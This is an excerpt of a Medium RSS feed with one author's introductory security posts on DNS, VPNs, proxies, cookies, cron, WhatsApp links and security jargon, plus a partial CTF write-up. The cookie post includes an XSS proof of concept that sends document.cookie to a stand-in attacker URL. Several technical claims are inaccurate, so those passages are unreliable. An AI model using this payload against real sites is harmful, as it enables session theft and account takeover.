case: <strong>Whonix, TAILS, Orbot, QubesOS.</strong></blockquote><blockquote>Please provide your feedback/suggestions in order for me to improve my writing as well as provide better content.</blockquote><blockquote>Until we meet again.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79731b9b564" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking DNS, VPN & Proxies in layman terms]]></title>
            <link>https://medium.com/@abhijeet-secops/breaking-dns-vpn-proxies-in-layman-terms-70b078db43e3?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/70b078db43e3</guid>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[operational-security]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Sat, 10 Sep 2022 00:51:24 GMT</pubDate>
            <atom:updated>2022-09-10T00:51:24.244Z</atom:updated>
            <content:encoded><![CDATA[<h3>DNS, VPN &amp; Proxies in layman terms</h3><p>Many people use VPNs, Proxies &amp; DNS resolvers for different purposes, however most of them have no idea about the use cases. I very recently saw someone mistaking a DNS resolver for VPN which motivated me to write this article.</p><p>While it is very useful to use such technologies it’s always better to know what these technologies can do/cannot do in order to get the most out of them.</p><p>I will be discussing DNS, VPN &amp; Proxies in layman terms so that anyone reading this article could understand them easily. You are humbly requested to devise your individual use case &amp; do due diligence before using any service providers.</p><p>So without further ado, let’s dive in.</p><h3><strong>DNS: Domain Name System</strong></h3><p>Commonly termed as Internet phonebook, DNS maps IP addresses to Domain names. Usually traveling over UDP port 53, it queries DNS servers with domain name &amp; fetches the correct IP address(s) in order to load a website.</p><p>Let’s see how it actually works.</p><ol><li>Client opens a <strong>browser</strong> and types ”<em>medium.com</em>”.</li></ol><p>2. This request goes to a <strong>DNS recursor</strong> (<strong>resolver</strong>) who checks the local database (<strong>cache</strong>) to see if mapping is available there.</p><p>3. In case record is not found, <strong>recursor</strong> then queries to <strong>Root nameserver </strong>to get address of .<strong>com TLD nameserver ( Top Level Domain nameserver )</strong>.</p><p>4. After getting hold of <strong>TLD nameserver, recursor </strong>gets the address for <strong>Authorative nameserver</strong> which contains actual IP address(s) for that domain. This IP data is then sent back to client who stores it in cache for some time in order to resolve faster. In this case IPs are “<em>162.159.152.4 &amp; 162.159.153.4”.</em></p><p><strong>Now few important points,</strong></p><p>i. Recursor could be anyone from your local system to your ISP. It’s always better to use a trusted DNS provider as they have access to literally all of your searches &amp; could use it for various purposes starting from showing you targeted ads to selling your search data. This could get worse if your ISP gets breached &amp; their DNS cache is poisoned as it could direct your every search to sites controlled by a malicious threat actor.</p><p>ii. Root nameservers are where records of TLD nameservers are kept. They are 13 nameservers (A-M) which are geographically distributed in clusters using Anycast technology.</p><p>iii. A single TLD nameserver contains entries for a particular TLD ( .com, .net, .org, etc) only.</p><p>iv. Authorative nameserver is where actual IP-to-DNS records are kept. It could be anyone from hosting provider to DNS manager.</p><p>v. You could also create these records locally by editing your hosts file. However I recommend you don’t do so until you know exactly what you are doing.</p><p>vi. There are some utilities like <em>dig, nslookup,etc </em>which allows to fetch DNS records from the comfort of CLI.</p><p>vii. Make sure you know how the provider will use your data &amp; what is their policy on logs.</p><h3><strong>VPN: Virtual Private Networks</strong></h3><p>VPN is a piece of special software which hides your original IP address &amp; helps create a secure connection. This is done by creating a tunnel between your device &amp; VPN provider’s private network, hence the term virtual private network. This essentially helps in hiding the internet traffic thus browsing securely.</p><p>Let’s see how it works.</p><ol><li>Client installs a <strong>VPN software</strong>, selects a <strong>protocol</strong> &amp; clicks on connect.</li><li>This request travels over the internet to the provider’s network.</li><li>This request then routes through internally managed servers until a <strong>server is assigned</strong> to client.</li><li>Client can now send data which will be traveling encrypted over this <strong>private tunnel</strong> for their every connection. Websites will see the IP of that VPN server &amp; not of client.</li></ol><p><strong>Now few important points,</strong></p><p>i. VPN can offer privacy &amp; security however achieving anonymity using only VPN is a myth. For this consider using anonymous networks like TOR in conjunction with VPN.</p><p>ii. Again since they have access to your every data be careful whom you trust. Make sure your provider offers <strong>no-logs policy,</strong> does independent audits of their company &amp; publish warrant canaries. Also make sure this provider is in a country where they can’t be forced to spy on you under laws.</p><p>iii. VPNs encrypt communications so they are very helpful when using public networks for internet surfing. Since public networks can easily be malicious, using a VPN will hide your internet traffic form ISP as well as network owner.</p><p>iv. There are some services like <em>WebRTC</em> which could reveal the original IP address even while using a VPN. It helps if you could disable these services.</p><p>v. A large number of free VPN services are often run by few organizations who use them for malicious purposes. Since people have a tendency to look for free stuff which could potentially end up wrecking havoc, I strongly recommend against it. There is nothing like free lunch here &amp; if it’s free then sad to say people are product. It it also worth noting that some trusted providers like ProtonVPN offer free services, however do your due diligence first before trusting.</p><h3><strong>Proxies</strong></h3><p>Proxies are often misinterpreted as VPNs however both are very different in function as well as use cases. Proxy acts as an intermediary between a client &amp; a server. It listens for a request and then either forward it or drop it as per configurations.</p><p>Let’s see how it works.</p><ol><li>Client gets the IP of a proxy server &amp; <strong>configures their system</strong> to use it while browsing.</li><li>Client opens browser &amp; searches for “<em>medium.com</em>”.</li><li>This query goes to the proxy server who <strong>makes the request</strong> on client’s behalf.</li><li>Once “<em>medium.com</em>” sends response to proxy server, it then<strong> forwards it back </strong>to client. It is pretty effective method since in ideal scenario website won’t know who actually requested the resources.</li></ol><p><strong>Now few important points,</strong></p><p>i. Proxy servers can act on both client side &amp; server side. As per their functionality they could be either a forward proxy (client side) or a reverse proxy (server side).</p><p>ii. Proxy servers can share origin IP in headers like <em>x-forwarded-for </em>which could unmask the client. There are different types of proxy servers, make sure you use one that works with your individual use case. One of the most trusted proxy service worldwide is TOR network.</p><p>iii. Be careful while using free Proxies, they could easily be setup by malicious threat actors in order to exploit your system. Vet every provider before using their service.</p><p>iv. Since proxies could reveal your data in their requests, it’s a good idea to use multiple proxy servers from different providers in a chain. This will provide better security with the downside of slow connection speed.</p><p>v. A proxy server doesn’t necessarily mean your data will be encrypted. It is also worth noting that a proxy server can easily modify the requests/responses without the client knowing.</p><blockquote><strong>A more comprehensive post on VPN &amp; Proxies will soon follow. Meanwhile if you are still here I would greatly appreciate any feedback in order to provide you with better content.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70b078db43e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Cookies from a security standpoint]]></title>
            <link>https://medium.com/@abhijeet-secops/demystifying-cookies-from-a-security-standpoint-7a007663ce02?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a007663ce02</guid>
            <category><![CDATA[securing-http-cookies]]></category>
            <category><![CDATA[http-cookie]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[concept-of-cookies]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Tue, 23 Aug 2022 19:26:10 GMT</pubDate>
            <atom:updated>2022-08-23T19:36:46.542Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*g17s67Xai2X2UHPvNykdbQ.jpeg" /></figure><p>Who doesn’t love a tasty COOKIE/BISCUIT.</p><p>Same is true for the “Website Cookies” (special text files), which are used for authentication, season management, personalization &amp; tracking.</p><p>Since HTTP happens to be a STATELESS protocol, websites need to track requests by some method. For this purpose <a href="https://www.linkedin.com/in/ACoAAAABL7EBhZPu8hz52Z2yEzplg0FwwFQxJnE">Lou Montulli</a> created the concept of “COOKIES”. Now-a-days all websites use them for one purpose or another.</p><p>Now let’s dive into this concept a bit more,</p><p>Generally speaking we have two types of cookies as follows:-<br><strong>1. Session cookie:</strong> Session cookies are cookies that <strong>last for a session</strong>. A session starts when you launch a website or web app and ends when you leave the website or close your browser window. They contain information that is <strong>stored in a temporary memory location</strong> which is deleted after the session ends. Unlike other cookies, session cookies are never stored on your device. Therefore, they are also known as transient cookies, non-persistent cookies, or temporary cookies.</p><p><strong>2. Permanent cookie:</strong> Permanent cookies are set with an expiration date and stored on a user s hard drive<strong> until they expire</strong> or <strong>until the user deletes the cookie</strong>. They are used to collect identifying information about the user, such as Web surfing behavior or user preferences for a specific Web site. They are also known as permanent cookies, or a stored cookies.</p><p>Cookies are allocated &amp; shared through HTTP Headers “<strong><em>Set-Cookie</em></strong>” &amp; “<strong><em>Cookie</em></strong>”, respectively. These cookies can be either <strong>HTTP-only</strong> or <strong>SECURE</strong>, depending on the security implantation. A <strong>HTTP-only cookie</strong> travels over HTTP protocol &amp; prevents JavaScript from reading stored cookies whereas a <strong>SECURE cookie</strong> is only sent to the server with an encrypted request over the HTTPS protocol &amp; mitigates Man in The Middle (MiTM) attacks.</p><p>To further enhance these controls, “ <strong>Host-only</strong>” flag and “<strong>Path</strong>” attribute can be added to lockdown the cookie to a particular HOSTNAME and PATH.</p><p>To take it one notch further “<strong>SameSite</strong>” flag could be used to prevent Cross Site Request Forgery (CSRF). SameSite can takes one of three possible values i.e, Strict, Lax or None</p><p>These cookies reside in a special storage known as “cookie jar” inside browser. You can view your cookies by either through browser developer settings/addons or by invoking “<strong><em>document.cookie</em></strong>” API.</p><p>Now you might ask how does all this relate to a security standpoint, well since these cookies contain juicy details they can provide easy access to a website and thus to a network as well. Didn’t get it, no issues just imagine an “authenticated Administrator” losing their cookies.</p><p>This is also why most XSS attacks tend to extract cookies from victim’s browser.</p><p>One Proof of concept to show this attack will be:-</p><p><strong><em>&lt;script&gt; <br>var x = image();<br>x.src=”example.com/xss.php?q=”+document.cookie;<br>&lt;/script&gt;</em></strong></p><p>Where you can simply create an image object and point it to an attacker controlled website. Then it will log the cookie there which can be further used in chained attacks.</p><p>Now to mitigate these issues webdevs could:-<br>1. Implement secure session cookies which expire as soon as session terminates.<br>2. Install security plugins and follow secure design principles.</p><p>On the other hand users can:-<br>1. Install addons like Noscript to prevent XSS.<br>2. Avoid clicking on links &amp; cleaning cookie jar as often as possible.</p><p>To learn more about cookies, do visit these great docs by:-<br>1. <a href="https://www.linkedin.com/company/w3c/">W3C</a> : <a href="https://www.w3.org/2001/tag/2010/09/ClientSideStorage.html">https://www.w3.org/2001/tag/2010/09/ClientSideStorage.html</a>2. 2. <a href="https://www.linkedin.com/company/mozilla-corporation/">Mozilla</a> : <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a007663ce02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cron Jobs in a nutshell]]></title>
            <link>https://medium.com/@abhijeet-secops/cron-jobs-in-a-nutshell-2eed13e6f770?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/2eed13e6f770</guid>
            <category><![CDATA[linux-tips]]></category>
            <category><![CDATA[cronjob-scheduler]]></category>
            <category><![CDATA[cronjob]]></category>
            <category><![CDATA[task-scheduling]]></category>
            <category><![CDATA[linux-tricks]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Tue, 23 Aug 2022 17:26:10 GMT</pubDate>
            <atom:updated>2022-08-23T17:26:10.296Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P6AcbZBguzkGnnHS_2inoQ.jpeg" /></figure><p>“Cron jobs” if you don’t already know are an amazing way for scheduling tasks on Linux servers.</p><p><strong><em>Cron</em></strong> is comprised of two parts i.e, “<strong><em>crontab</em></strong>” ( which contains your cron expressions ) and “<strong><em>crond</em></strong>” ( cron daemon which runs in background &amp; monitors crontab ).</p><p><strong><em>Crontab</em></strong> can be edited using command “crontab -e” and pointed to either a specific command or a shell script. Just make sure to use absolute path for either of them.</p><p><strong><em>Crond</em></strong> on the other hand executes the commands on specific time.</p><p>Working together in harmony, they make sure the assigned task is executed at the right time.</p><p>Since we got the basic idea, let’s move on to execution part.</p><p>A <strong><em>crontab</em></strong> contains seven fields as follows:-</p><p><strong>1 2 3 4 5 6 7</strong></p><p><strong>Where,</strong></p><p><strong>1ST PLACE is for minutes (0–59)</strong></p><p><strong>2ND PLACE is for hour (0–24)</strong></p><p><strong>3RD PLACE is for day of month (1–31)</strong></p><p><strong>4TH PLACE is for month (1–12)</strong></p><p><strong>5TH PLACE is for day or week (0–7; both 0 &amp; 7 can be used for sunday)</strong></p><p><strong>6TH PLACE is for user account (always make sure assigned user account has sufficient permissions to run the commands)</strong></p><p><strong>7TH PLACE is for the absolute path of command/shell script.</strong></p><p>Here are some of the shortcuts to make jobs even more easier:-</p><p><strong>@yearly @annually @monthly @weekly @daily @midnight @noon @reboot</strong></p><p>These shortcuts do exactly what they say and they are worth implementing if use case matches.</p><p>If you use shortcuts make sure to only include “user” and “command”.</p><p>Now that we are familiar with syntax let’s see some examples in action:-</p><p><strong>1 2 3 4 5 root /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a></p><p>Which simply states</p><p><strong>At 02:01AM on day-of-month 3 and on Friday in April “RUN” /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a><strong> as root</strong></p><p>Let’s also see an example using shortcut:-</p><p><strong>@daily root /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a></p><p>Which simply means</p><p><strong>“RUN” /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a><strong> as root on daily basis.</strong></p><p>Also since we are using Linux, wildcards (*) are allowed too. Let’s see their example as well:-</p><p><strong>1 2 * * 5 root /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a></p><p>Which simple says,</p><p><strong>At 02:01AM on friday in every month “RUN” /usr/share/</strong><a href="http://backup.sh/"><strong>backup.sh</strong></a><strong> as root</strong></p><p><strong>[ NOTE:- “cron” requires the system to run 24/7 so it’s not ideal for running on desktop/laptop. For this particular purpose use “anacron”. ]</strong></p><blockquote>On ending note I would also like to mention “<a href="https://crontab.guru/"><strong>crontab.guru</strong></a>” which is one of the best websites when it comes to create/edit cron jobs. Give it a shot if you are new to server administration or want to check your expressions.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2eed13e6f770" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to do contactless messaging on WhatsApp? Using WhatsApp API that’s how.]]></title>
            <link>https://medium.com/@abhijeet-secops/how-to-do-contactless-messaging-on-whatsapp-using-whatsapp-api-thats-how-e262b98da395?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/e262b98da395</guid>
            <category><![CDATA[whatspp-tip]]></category>
            <category><![CDATA[api-whatsapp]]></category>
            <category><![CDATA[whatsapp]]></category>
            <category><![CDATA[whatsapptricks]]></category>
            <category><![CDATA[power-whatsapp]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Wed, 17 Aug 2022 01:09:45 GMT</pubDate>
            <atom:updated>2022-08-17T01:21:55.487Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Td_SFGxwgtjeVloKl8t0MQ.png" /></figure><p>WhatsApp has become integral part of our daily communication. Whether it’s personal chats or business chats, WhatsApp is everywhere. In my case I utilise a simple hack to message anyone without even saving their contact number.</p><p>Here’s how you can do that as well, just follow these 3 simple steps given below:-</p><p>1. Open a web browser (make sure you have redirections/open links in apps enabled).</p><p>2. Navigate to <strong>“</strong><a href="https://wa.me/"><strong><em>https://wa.me/</em></strong></a><strong><em>&lt;country code&gt;&lt;WhatsApp number&gt;</em>”</strong> by entering above query in url bar.</p><p>3. You will be redirected to “<a href="http://api.whatsapp.com/">api.whatsapp.com</a>” just click on “CONTINUE TO CHAT/OPEN IN WHATSAPP/OPEN (popup)” option (depending on browser) and voilà.</p><blockquote>[ NOTE: DON’T USE “+” SIGN in country code, suppose you are messaging someone in India then just use country code i.e, 91 instead of +91. ]</blockquote><p>Example:- <a href="https://wa.me/91987654321"><strong><em>https://wa.me/91987654321</em></strong></a><strong><em>0</em></strong></p><p>Where,<br> <strong>91</strong> is country code without + sign<br> <strong>9876543210</strong> is WhatsApp number.</p><p>This is a very handy WhatsApp API feature which is uncommon knowledge. Do share this among your friends and family.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e262b98da395" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Addressing some common Cybersecurity jargons]]></title>
            <link>https://medium.com/@abhijeet-secops/addressing-some-common-cybersecurity-jargons-4deeaad578df?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/4deeaad578df</guid>
            <category><![CDATA[cybersecurity-terms]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Tue, 16 Aug 2022 21:46:34 GMT</pubDate>
            <atom:updated>2022-08-16T21:46:34.069Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s breakdown some common Cybersecurity jargons.</p><p>Sometimes people get confused by these terms or find it hard to retain their differences.</p><p>➊. 𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 𝐯𝐬 𝐀𝐮𝐭𝐡𝐨𝐫𝐢𝐳𝐚𝐭𝐢𝐨𝐧:</p><p>𝐀𝐮𝐭𝐡𝐞𝐧𝐭𝐢𝐜𝐚𝐭𝐢𝐨𝐧 is the process of verifying the identity. It uses a combinations of techniques/methods to verify the identity. For e.g: One of your friends calls you from unknown number, after hearing their voice you’ll ask ABC is that you and they will reply yes, it’s me.</p><p>Whereas 𝐀𝐮𝐭𝐡𝐨𝐫𝐢𝐳𝐚𝐭𝐢𝐨𝐧 refers to the permissions attached to perform a certain task. This often comes after authentication is successful and a task is to be executed. For e.g: While making online payments you are asked to input PIN/OTP which is a form of authorization.</p><p>[ NOTE: While these solutions might sound very true there are ways to circumvent them. ]</p><p>➋. 𝐃𝐑𝐘 𝐩𝐫𝐢𝐧𝐜𝐢𝐩𝐥𝐞 𝐯𝐬 𝐖𝐄𝐓 𝐩𝐫𝐢𝐧𝐜𝐢𝐩𝐥𝐞:</p><p>𝐃𝐑𝐘 stands for “Don’t Repeat Yourself”. Simply put it minimizes bugs &amp; shortens codebase size</p><p>Whereas 𝐖𝐄𝐓 stands for “Write Everything Twice”. Simply put it means the same code is implemented at least two times in a codebase. It offers flexibility to use same code for two different purposes.</p><p>[ NOTE: These two terms are not common as they are part of software development process. There are high chances of seeing their implementation if you do webapp pentests or code reviews. ]</p><p>➌. 𝐔𝐑𝐈 𝐯𝐬 𝐔𝐑𝐋:</p><p>𝐔𝐑𝐈 or Uniform Resource Identifier provides identity of an item. For e.g: IMEI no of your smartphone can be defined as Uri, or the ISBN no of a book, or better yet your roll number/employee id.</p><p>𝐔𝐑𝐋 or Uniform Resource Locator provides a way to reach any location. It comprises of a protocol,domain name/ip address and path to resource. For e.g: https://medium.com</p><p>➍. 𝐏𝐞𝐧𝐞𝐭𝐫𝐚𝐭𝐢𝐨𝐧 𝐭𝐞𝐬𝐭𝐢𝐧𝐠 𝐯𝐬 𝐑𝐞𝐝 𝐭𝐞𝐚𝐦 𝐚𝐬𝐬𝐞𝐬𝐦𝐞𝐧𝐭:</p><p>𝐏𝐞𝐧𝐞𝐭𝐫𝐚𝐭𝐢𝐨𝐧 𝐭𝐞𝐬𝐭𝐢𝐧𝐠 is a process to test the security of a company/system/network/website/software. For e.g: You hired a lockpicker to check the strength of your locks.</p><p>𝐑𝐞𝐝 𝐭𝐞𝐚𝐦 𝐚𝐬𝐬𝐞𝐬𝐦𝐞𝐧𝐭 on the other hand deals with testing the strength of blue team &amp; adversary simulation. For e.g: You hired a professional thief to test out your state of the art home security system.</p><p>[ NOTE: There is a fine line between these two terms. In most scenarios they differ only in terms of use cases. In other scenarios there terms are often interchanged. ]</p><p>➎. 𝐂𝐈𝐀 𝐭𝐫𝐢𝐚𝐝 𝐯𝐬 𝐃𝐀𝐃 𝐭𝐫𝐢𝐚𝐝:</p><p>𝐂𝐈𝐀 𝐭𝐫𝐢𝐚𝐝 stands for Confidentiality, Integrity &amp; Availability. It’s part of Blue team side of security where these terms helps design security mechanisms. For e.g: You use WhatsApp to send encrypted messages to another person &amp; can do until WhatsApp servers are down or there is a Man-In-The-Middle (MITM ).</p><p>𝐃𝐀𝐃 𝐭𝐫𝐢𝐚𝐝 stands for Disclosure, Alter &amp; Denial. It’s part of Red team side of security where they define breaking of CIA triad. For e.g: If someone intercepts your WhatsApp traffic and manages to break the encryption they can read, modify or even permanently delete your messages.</p><p>[ NOTE: While WhatsApp encrypts your text messages, any documents sent over it is not encrypted and remains plaintext in its servers. Anyone with access to these servers/MITM can easily read them. Be mindful of what you share over WhatsApp ]</p><p>➏. 𝐑𝐞𝐯𝐞𝐫𝐬𝐞 𝐬𝐡𝐞𝐥𝐥 𝐯𝐬 𝐁𝐢𝐧𝐝 𝐬𝐡𝐞𝐥𝐥: For this let’s imagine you have two devices i.e, a client ( your smartphone ) and a server ( your laptop ). For the sake of simplicity let’s also assume these two are in same LAN network.</p><p>In 𝐑𝐞𝐯𝐞𝐫𝐬𝐞 𝐬𝐡𝐞𝐥𝐥 scenario the client will open a port and server will connect back to it using IP:Port combo. This is very useful in case of circumventing firewalls. For e.g: Let’s assume you met someone and instead of asking their, shared your phone number so they can contact you.</p><p>Whereas in 𝐁𝐢𝐧𝐝 𝐬𝐡𝐞𝐥𝐥 server will open a port and client will connect to it using IP:Port combo. This is helpful but less reliable if security measures are in place. For e.g: Let’s assume you met someone &amp; they shared their phone no so you can contact them.</p><p>[ NOTE: Both of these shells have their individual use cases, sometimes you will use reverse and sometimes bind. It often takes trial &amp; error to find a perfect solution for a given scenario, however in most cases reverse shell will do well than a bind one. ]</p><p>➐. 𝐄𝐧𝐜𝐫𝐲𝐩𝐭𝐢𝐨𝐧 𝐯𝐬 𝐇𝐚𝐬𝐡𝐢𝐧𝐠:</p><p>𝐄𝐧𝐜𝐫𝐲𝐩𝐭𝐢𝐨𝐧 is a terminology given to the process of encoding information in a way that it cannot be recovered without a secret (code/key). Simply put using this technique you can encode/decode your content ( text, files, devices ). Encryption is used to provide confidentiality among two or more people. Some common encryption algorithms are AES, RSA,etc.</p><p>For e.g: Let’s imagine you have a lock and a key, in this case that lock can’t be opened without that key.</p><p>Whereas 𝐇𝐚𝐬𝐡𝐢𝐧𝐠 is a different techniques which uses special mathematical functions to encode data in such a manner that it cannot be reversed. Due to this unique property hashing is also used to store password in a database. It is also worth mentioning there is no secret/key in this scenario. Hashes are used to verify the integrity of a given data/file. Some of the common hash algorithms are MD5, SHA256,etc.</p><p>For e.g: You login into your Computer using a combination of username/password. This password is stored in the form of a hash and when you type it in login panel, system translates it into hash &amp; then compares with the one stored in its database. Only if both matches, access is granted.</p><blockquote>If you have read till here, thank your for bearing with me. While I wrote this post to explain concepts in layman terms, hope you enjoyed it.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4deeaad578df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwnverse CTF Writeup]]></title>
            <link>https://medium.com/@abhijeet-secops/pwnverse-ctf-writeup-9175a6e183c7?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/9175a6e183c7</guid>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Sun, 24 Jul 2022 23:47:41 GMT</pubDate>
            <atom:updated>2022-07-24T23:59:52.019Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently participated in a CTF created by Pwnverse and sponsored by Hackrocks. It contained 4 tiers with 2 challenges each.<br>Tiers were categorized by: Newbie (1,2), Easy (3,4), Medium (5,6), Hard (7,8).<br>After completing 4 of these challenges successfully, I managed to secure 39th rank with a total of 155 points.</p><p>So without further ado let’s see what these challenges were &amp; how I tackled them.</p><blockquote><strong><em>1. Corrupt Committee:-</em></strong></blockquote><p><strong>Description:</strong> Our investigation team has discovered that some senior officials of a certain Olympic Committee have received significant bribes in the past, specifically in 2012. Unfortunately, we do not know much more; we only have the following image for you to start your investigation, which is somehow related to the recipient of the payment. Regarding the amount of the payment, we only know that it must be significantly higher than the rest of the payments received that year.</p><p>Can you help us bring the guilty parties to justice?</p><p>(The token of this challenge will be the identifier of the payers)</p><p><strong>SOLUTION:</strong> There was a QR code given which had “1BWaryNxvEdkzRMZ6L4y2bgvBwhRyFTHQ2”, since this was payment challenge my mind went straight to cryptocurrency. I searched this string on Blockchain.com and got 2 linked wallets. After searching through Bitcoin wallet by year 2012, I got:</p><p>Fee 0.00000000 BTC(0.000 sat/B — 0.000 sat/WU — 258 bytes) +10.00000000 BTC</p><p>Hash b8d6559c52ad2c3137151a6eb091729d6d104e21a688549dc2a8557ab5e156b2: 2012–09–30 16:19<br>1Ce1DeJf6HHHKPBKH63qC7kzP6m2a3rDrr: 51.41448112 BTC</p><p>18nbMfiKjucUhs7tps6G8NGziPwK2MX9aZ: 41.41448112 BTC</p><p>1BWaryNxvEdkzRMZ6L4y2bgvBwhRyFTHQ2: 10.00000000 BTC</p><p>After entering wallet address “1Ce1DeJf6HHHKPBKH63qC7kzP6m2a3rDrr” I pwned the 1st challenge.</p><blockquote><strong><em>2. Metaverse Cracking:-</em></strong></blockquote><p><strong>Description:</strong> Do you like the metaverse, the NFTs, cryptography, and would you like to help Juan earn money through a bug?</p><p>This is your challenge!</p><p>Not long ago Juan downloaded an NFT game with the idea of starting to earn cryptocurrencies. The game caught his attention because of the dynamics it followed.</p><p>The game consists of the following:</p><p>Random encrypted passwords are generated every day and the player can crack as many as he can and wants, as long as he has energy left. A user has 5 energy points per day, and for each play (hash detection attempt plus password cracking) 0.5 points are lost, i.e. the user has a total of 10 plays.<br> The interface is very simple: it consists of a screen with padlock cards and a brief description of how difficult or improbable it is to crack the generated password. The user chooses which padlock to attack, i.e. which password he wants to crack. Once he has chosen it, he clicks on the Crack button. Once this is done, the program returns on screen the hash and/or the password if it has been obtained along with two fields where the user must enter what has been obtained and press the Solve button.</p><p>The benefits that the player can get are:</p><p>Between 0.00008 ETH and 0.00021 ETH if the hash is successfully detected.<br> Between 0.00042 ETH and an additional 0.0012 ETH if the password is cracked.</p><p>To play the game you need a set of tools integrated in the game which are obtained by purchasing boxes. The 4 available boxes are:</p><p>demo (Free): contains a tool with 20% hash detection and 15% cracking probability.<br> Basic: contains a tool with 50% password hash detection probability and 25% cracking probability.<br> The intermediate: contains a tool with a hash detection probability of 80% and cracking probability of 50%.<br> The pro: contains two separate tools, one with 100% hash detection and the other with 95% cracking probability. In other words, the pro provides two specialized tools that almost ensure profit.</p><p>If you buy, for example, the basic box and then the pro, the game detects you as if you had only the pro box, that is, bonuses are not accumulated, but it keeps the ones from the last purchased box.</p><p>Juan does not know very well if it is profitable to invest or not in the game, but before jumping to buy any box, he decides to try the demo that is free. After two plays he detects a bug in the game, and that is that the game calculates and displays the type of hash and the encrypted password before the user clicks on the Decrypt button.</p><p>John doesn’t understand much about cryptography, but he knows that there are tools (outside the game) to detect hashes and break passwords, so he asks you to help him crack one of the hardest passwords the game has thrown at him so far.</p><p>The information Juan saw on his screen was:</p><p>sha384</p><p>73a32b396debcb88809e534a6257ff32a67e70a0663740f538969c7741dfece93309f0dce80d57924602423cf8d3e0b9</p><p>Will you be able to make Juan earn some money? Help him crack the password in clear, as well as the profit (in ETH) if he gets the maximum prize (express to 5 decimal places).</p><p>The token must be in the following format: counter-crypt-prize</p><p>Example answer: premio-3&#39;21248</p><p><strong>SOLUTION:</strong> Since everything was already given here including hash &amp; algorithm, all that left to do was crack it. I used “<a href="https://crackstation.net/">https://crackstation.net</a>&quot; which gave me “premio”. Now for 2nd part of the code I simply added the highest benefits i.e, “0.00021+0.0012” &amp; entered in format “premio-0&#39;00141”. However I didn’t thought it would work but surprisingly it did.</p><blockquote><strong><em>3. LeChuck is back:-</em></strong></blockquote><p><strong>Description:</strong> Where could they have started? Your instinct warns you: LeChuck has a big ego, and he’s probably left his signature somewhere on your site.</p><p>Is it that easy? Bingo! Something pops up at that URL <a href="https://challenges.hackrocks.com/lechuck">https://challenges.hackrocks.com/lechuck</a><br>Look for LeChuck’s footprints to move on!</p><p><strong>SOLUTION:</strong> Since this was a website, I used /usr/share/wordlists/dirb/common.txt to find any open endpoints. For some reason first two attempts failed with Dirb, however while using Gobuster I discovered an open one “<a href="https://challenges.hackrocks.com/lechuck/user">https://challenges.hackrocks.com/lechuck/user</a>&quot; which said “To get info about a user, use the syntax: /user/&lt;username&gt;”.</p><p>After this it was simply including “lechuck” as username and getting the flag “lechuck,{flag}MBZICNIBRM”.</p><blockquote><strong><em>4. Simon a Successful Streamer:</em></strong></blockquote><p><strong>Description:</strong> That’s right, Simon Runbott has lost access to his bitcoins. He was storing them on an old Linux computer, which he has completely forgotten the password to access. At least he managed to send us a password file, which he hopes will help.</p><p>Can you recover Simon’s password?<br>Paswword hash: “simon:$6$ephwDW/dO/YUIRFq$4MtdliecaYjJ4dKIqbBbX3SsT8mebY3tdb6UdR0qMZkQG.so.GrCUC0sgt7SjGQlhY/xiLLnzkaIB4gYb5lY./:18760:0:99999:7:::”</p><p><strong>SOLUTION:</strong> I did found an account on Instagram “simon.runbott” and managed to extract some keywords “Audi, RTBB221, 